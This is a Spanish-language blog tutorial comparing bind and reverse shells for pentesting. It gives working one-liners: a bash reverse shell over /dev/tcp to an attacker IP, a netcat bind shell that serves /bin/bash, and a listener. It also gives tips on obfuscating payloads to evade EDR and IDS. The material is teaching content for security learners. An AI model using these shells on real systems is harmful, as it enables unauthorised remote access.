Bind vs Reverse Shells: Duelos en la terminal del inframundo 🕳️🐚
June 16, 2025
Cuando te metes en el mundo del pentesting y el hacking ético, hay dos técnicas clásicas que se convierten en tus aliadas para obtener acceso remoto: Bind Shells y Reverse Shells.
Ambas te permiten controlar una máquina comprometida, pero lo hacen de maneras distintas… y estratégicamente geniales 😼⚔️
🧪 ¿Qué es una Shell?
Una shell es una interfaz que te permite interactuar con el sistema operativo a través de comandos.
Una reverse shell o una bind shell simplemente llevan esta interacción a través de una conexión de red 🌐
🔁 Reverse Shell
En una reverse shell, el objetivo (la víctima) se conecta hacia ti, el atacante.
🧠 ¿Cómo funciona?
- El atacante levanta un listener (esperando una conexión)
- La víctima ejecuta un payload que conecta de regreso al atacante
- ¡Boom! Shell remota 🎯
# Atacante
nc -lvnp 4444
# Víctima
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
📦 Ventajas
- Funciona bien con firewalls (salida de red casi siempre permitida)
- Más sigilosa
🚫 Desventajas
- El atacante necesita una IP pública o port forwarding
- Puede ser detectada si el EDR o antivirus monitorea conexiones salientes
🔗 Bind Shell
En una bind shell, el objetivo abre un puerto y escucha conexiones.
🧠 ¿Cómo funciona?
- La víctima ejecuta un payload que abre un puerto
- El atacante se conecta a ese puerto
# Víctima
nc -lvnp 4444 -e /bin/bash
# Atacante
nc 10.0.0.2 4444
📦 Ventajas
- El atacante no necesita abrir puertos
- Más directa en entornos sin NAT
🚫 Desventajas
- Firewalls pueden bloquear conexiones entrantes
- Menos sigilosa
🧙♀️ ¿Cuál elegir?
| Situación | Mejor opción |
|---|---|
| Hay NAT o firewall | Reverse Shell ✅ |
| Tienes control sobre el firewall o red | Bind Shell ✅ |
| Quieres evitar alertas de IDS | Reverse Shell con ofuscación ✅ |
| Objetivo es una red interna con mucho filtrado | Depende del contexto… ¡ambas podrían servir con tunelado! 😼 |
🧰 Herramientas comunes
netcat(clásico pero detectable)socat(más flexible y cifrado)msfvenom + Metasploitnishang,powercat,pwncat,revshells.com
🧨 Tips galácticos
- Ofusca tus payloads para evadir EDRs
- Usa TLS si puedes (con
socatpor ejemplo) - Recuerda que puedes tunelar con SSH, VPN, o herramientas como
chisel - ¡Guarda siempre tu IP y puerto en algún lugar mágico! 🪄
✨ Conclusión
Ambas técnicas son esenciales en tu arsenal Red Team.
Conocer cuándo usar una u otra puede marcar la diferencia entre un acceso exitoso… y un logeo frustrado.
“Una shell no te hace hacker… pero te pone en camino.” — l1ttl3bugc4t